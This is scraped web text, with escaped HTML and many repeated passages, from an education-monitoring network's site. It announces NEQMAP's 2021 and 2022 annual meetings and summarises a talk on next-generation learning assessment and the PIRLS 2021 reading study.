As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

